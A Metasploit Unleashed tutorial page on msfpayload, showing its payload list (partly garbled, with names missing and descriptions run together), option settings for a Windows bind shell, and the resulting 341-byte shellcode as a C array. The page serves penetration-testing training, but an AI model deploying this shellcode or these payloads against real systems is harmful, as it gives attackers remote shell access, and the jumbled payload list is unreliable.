Msfpayload

From Metasploit Unleashed - Mastering The Framework

msfpayload is a command-line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. The most common use of this tool is for the generation of shellcode for an exploit that is not currently in the Metasploit Framework or for testing different types of shellcode and options before finalizing a module.

This tool has many different options and variables available to it, but they may not all be fully realized given the limited output in the help banner.

root@bt:~# msfpayload -h

    Usage: /pentest/exploits/framework3/msfpayload []  [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>

OPTIONS:

    -h        Help banner
    -l        List available payloads

How powerful this tool can be is fully seen when showing the vast number of different types of shellcode that are available to be customized for your specific exploit:

root@bt:~# msfpayload -l Description ----------- Listen for a connection and spawn a command shell Spawn a shell on an established connection Simply execve /bin/sh (for inetd programs) Connect back to attacker and spawn a command shell Listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell Execute an arbitrary command Stub payload for interacting with a Meterpreter Service Stub payload for interacting with a Meterpreter Service Listen for a connection, Spawn a command shell (staged) Use an established connection, Spawn a command shell (staged) Connect back to the attacker, Spawn a command shell (staged) Listen for a connection and spawn a command shell Spawn a shell on an established connection Spawn a shell on an established connection (proxy/nat safe) Connect back to attacker and spawn a command shell Listen for a connection, Spawn a command shell (staged) Connect back to the attacker, Spawn a command shell (staged) Listen for a connection and spawn a command shell Spawn a shell on an established connection Connect back to attacker and spawn a command shell Listen for a connection and spawn a command shell (persistent) Listen for a connection and spawn a command shell via netcat Listen for a connection and spawn a command shell via perl Continually listen for a connection and spawn a command shell via Ruby Executes the supplied command Interacts with a shell on an established socket connection Creates an interactive shell through two inbound connections

shell via bash's builtin /dev/tcp. on most Debian-based Linux distributions because they compile bash without the Creates an interactive shell via netcat Creates an interactive shell via perl Connect back and create a command shell via Ruby Create a new user and add them to local administration group Listen for a connection and spawn a command shell via perl (persistent) Continually listen for a connection and spawn a command shell via Ruby Download an EXE from an HTTP(S) URL and execute it Creates an interactive shell via perl Connect back and create a command shell via Ruby Generate a debug trap in the target process Listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell Generate a tight loop in the target process Listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell Listen for a connection, Run a meterpreter server in Java Connect back stager, Run a meterpreter server in Java Listen for a connection, Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else) Connect back stager, Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else) Create a new user with UID 0 Execute an arbitrary command Connect back to attacker and spawn a command shell Connect back to attacker and spawn a command shell Connect back to attacker and spawn a command shell Listen for a connection and spawn a command shell Spawn a shell on an established connection Connect back to attacker and spawn a command shell Listen for a connection and spawn a command shell Spawn a shell on an established connection Connect back to attacker and spawn a command shell Execute an arbitrary command Listen for a connection, Spawn a command shell (staged) Connect back to the attacker, Spawn a command shell (staged) Listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell Create a new user with UID 0 Runs chmod on specified file with specified mode Execute an arbitrary command Listen for a connection over IPv6, Staged meterpreter server Listen for a connection, Staged meterpreter server Use an established connection, Staged meterpreter server Connect back to attacker over IPv6, Staged meterpreter server Connect back to the attacker, Staged meterpreter server Stub payload for interacting with a Meterpreter Service Stub payload for interacting with a Meterpreter Service Listen for a connection over IPv6, Spawn a command shell (staged) Listen for a connection, Spawn a command shell (staged) Use an established connection, Spawn a command shell (staged) Connect back to attacker over IPv6, Spawn a command shell (staged) Connect back to the attacker, Spawn a command shell (staged) Listen for a connection over IPv6 and spawn a command shell Listen for a connection and spawn a command shell Spawn a shell on an established connection Spawn a shell on an established connection (proxy/nat safe) Connect back to attacker and spawn a command shell Connect back to attacker and spawn a command shell Connect back to the attacker, Connect to the NetWare console (staged) Listen for a connection, Spawn a command shell (staged) Connect back to the attacker, Spawn a command shell (staged) Listen for a connection, Spawn a command shell (staged) Connect back to the attacker, Spawn a command shell (staged) Listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell

to vibrate, only works when the AudioToolkit library has been loaded. Miller . Listen for a connection, Spawn a command shell (staged) Use an established connection, Spawn a command shell (staged) Connect back to the attacker, Spawn a command shell (staged) Listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell Listen, read length, read buffer, execute, Inject a custom Mach-O bundle into the exploited process Connect, read length, read buffer, execute, Inject a custom Mach-O bundle into the exploited process Execute an arbitrary command Listen, read length, read buffer, execute, Inject a Mach-O bundle to capture a photo from the iSight (staged) Connect, read length, read buffer, execute, Inject a Mach-O bundle to capture a photo from the iSight (staged) Listen for a connection and spawn a command shell Spawn a shell on an established connection Connect back to attacker and spawn a command shell Listen, read length, read buffer, execute, Call vfork() if necessary and spawn a command shell (staged) Connect, read length, read buffer, execute, Call vfork() if necessary and spawn a command shell (staged) Listen for a connection, vfork if necessary, and spawn a command shell Connect back to attacker, vfork if necessary, and spawn a command shell Listen for a connection and spawn a command shell via perl (persistent) Listen for a connection and spawn a command shell via php Download an EXE from an HTTP URL and execute it Execute a single system command Listen for a connection, Run a meterpreter server in PHP Reverse PHP connect back stager with checks for disabled functions, Run a meterpreter server in PHP Connect back to attacker and spawn a Meterpreter server (PHP) Creates an interactive shell via perl Reverse PHP connect back shell with checks for disabled functions

established connection to this payload evil-looking entries in the so it is probably a good idea shell unless firewalls The issue this of (CLOEXEC flag not set to have been patched on the Apache and may not work on Only tested on work on other web servers to child processes. Listen for a connection and spawn a command shell Spawn a shell on an established connection Connect back to attacker and spawn a command shell Listen for a connection and spawn a command shell Spawn a shell on an established connection Connect back to attacker and spawn a command shell Interacts with a TTY on an established socket connection Create a new user and add them to local administration group Listen for a connection over IPv6, Inject a Dll via a reflective loader Listen for a connection (No NX), Inject a Dll via a reflective loader Listen for a connection, Inject a Dll via a reflective loader Use an established connection, Inject a Dll via a reflective loader Tunnel communication over HTTP using IE 6, Inject a Dll via a reflective loader Connect back to the attacker over IPv6, Inject a Dll via a reflective loader Connect back to the attacker (No NX), Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject a Dll via a reflective loader Connect back to the attacker, Inject a Dll via a reflective loader Download an EXE from an HTTP URL and execute it Execute an arbitrary command Spawns a dialog via MessageBox using a customizable title, text & icon Listen for a connection over IPv6, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Listen for a connection (No NX), Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Listen for a connection, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Use an established connection, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Tunnel communication over HTTP using IE 6, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Tunnel communication over HTTP using SSL, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Connect back to the attacker over IPv6, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Connect back to the attacker (No NX), Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) Stub payload for interacting with a Meterpreter Service Stub payload for interacting with a Meterpreter Service Listen for a connection over IPv6, Inject a custom DLL into the exploited process Listen for a connection (No NX), Inject a custom DLL into the exploited process Listen for a connection, Inject a custom DLL into the exploited process Use an established connection, Inject a custom DLL into the exploited process verse_ipv6_tcp        Connect back to the attacker over IPv6, Inject a custom DLL into the exploited process verse_nonx_tcp        Connect back to the attacker (No NX), Inject a custom DLL into the exploited process Connect back to the attacker, Inject a custom DLL into the exploited process Connect back to the attacker, Inject a custom DLL into the exploited process verse_tcp_allports    Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject a custom DLL into the exploited process Connect back to the attacker, Inject a custom DLL into the exploited process Listen for a connection over IPv6, Inject the meterpreter server DLL (staged) Listen for a connection (No NX), Inject the meterpreter server DLL (staged) Listen for a connection, Inject the meterpreter server DLL (staged) Use an established connection, Inject the meterpreter server DLL (staged) reverse_ipv6_tcp      Connect back to the attacker over IPv6, Inject the meterpreter server DLL (staged) reverse_nonx_tcp      Connect back to the attacker (No NX), Inject the meterpreter server DLL (staged) reverse_ord_tcp       Connect back to the attacker, Inject the meterpreter server DLL (staged) Connect back to the attacker, Inject the meterpreter server DLL (staged) reverse_tcp_allports  Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject the meterpreter server DLL (staged) reverse_tcp_dns       Connect back to the attacker, Inject the meterpreter server DLL (staged) Listen for a connection over IPv6, Spawn a piped command shell (staged) Listen for a connection (No NX), Spawn a piped command shell (staged) Listen for a connection, Spawn a piped command shell (staged) Use an established connection, Spawn a piped command shell (staged) Tunnel communication over HTTP using IE 6, Spawn a piped command shell (staged) Connect back to the attacker over IPv6, Spawn a piped command shell (staged) Connect back to the attacker (No NX), Spawn a piped command shell (staged) Connect back to the attacker, Spawn a piped command shell (staged) Connect back to the attacker, Spawn a piped command shell (staged) Try to connect back to the attacker, on all possible ports (1-65535, slowly), Spawn a piped command shell (staged) Connect back to the attacker, Spawn a piped command shell (staged) Listen for a connection and spawn a command shell Disable the Windows ICF, then listen for a connection and spawn a command shell Connect back to attacker and spawn a command shell Causes the target to say "You Got Pwned" via the Windows Speech API Listen for a connection over IPv6, Uploads an executable and runs it (staged) Listen for a connection (No NX), Uploads an executable and runs it (staged) Listen for a connection, Uploads an executable and runs it (staged) Use an established connection, Uploads an executable and runs it (staged) Tunnel communication over HTTP using IE 6, Uploads an executable and runs it (staged) Connect back to the attacker over IPv6, Uploads an executable and runs it (staged) Connect back to the attacker (No NX), Uploads an executable and runs it (staged) Connect back to the attacker, Uploads an executable and runs it (staged) Connect back to the attacker, Uploads an executable and runs it (staged) Try to connect back to the attacker, on all possible ports (1-65535, slowly), Uploads an executable and runs it (staged) Connect back to the attacker, Uploads an executable and runs it (staged) Listen for a connection over IPv6, Inject a VNC Dll via a reflective loader (staged) Listen for a connection (No NX), Inject a VNC Dll via a reflective loader (staged) Listen for a connection, Inject a VNC Dll via a reflective loader (staged) Use an established connection, Inject a VNC Dll via a reflective loader (staged) Tunnel communication over HTTP using IE 6, Inject a VNC Dll via a reflective loader (staged) Connect back to the attacker over IPv6, Inject a VNC Dll via a reflective loader (staged) Connect back to the attacker (No NX), Inject a VNC Dll via a reflective loader (staged) Connect back to the attacker, Inject a VNC Dll via a reflective loader (staged) Connect back to the attacker, Inject a VNC Dll via a reflective loader (staged) Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject a VNC Dll via a reflective loader (staged) Connect back to the attacker, Inject a VNC Dll via a reflective loader (staged) Execute an arbitrary command (Windows x64) Listen for a connection (Windows x64), Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged) Connect back to the attacker (Windows x64), Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged) Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged) Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged) Listen for a connection and spawn a command shell (Windows x64) Connect back to attacker and spawn a command shell (Windows x64) Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged) Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged) a payload, there are two switches that are used most often when crafting the payload for the exploit you are creating.  In the example below we have selected a simple Windows bind shell.  When we add the command-line argument "O" with that payload, we get all of the available configurable options for that payload.
root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 
  sf 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell


As we can see from the output, we can configure three different options with this specific payload, if they are required, if they come with any default settings, and a short description:

EXITFUNC
Required
Default setting: process

LPORT
Required
Default setting: 4444

RHOST
Not required
No default setting




Setting these options in msfpayload is very simple.  An example is shown below of changing the exit technique and listening port of the shell:
root@bt:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 
  sf 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  seh              yes       Exit technique: seh, thread, process, none
LPORT     1234             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell



Now that all of that is configured, the only option left is to specify the output type such as C, Perl, Raw, etc.  For this example we are going to output our shellcode as C:
root@bt:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * LPORT=1234, RHOST=, EXITFUNC=seh, InitialAutoRunScript=,
 * AutoRunScript=
 */
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xfe\x0e\x32\xea"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";



Now we have our fully customized shellcode to be used in any exploit!





Exploit Payloads









Retrieved from "http://www.offensive-security.com/metasploit-unleashed/Msfpayload"

Msfpayload

From Metasploit Unleashed - Mastering The Framework

Views

Personal tools

Search

Toolbox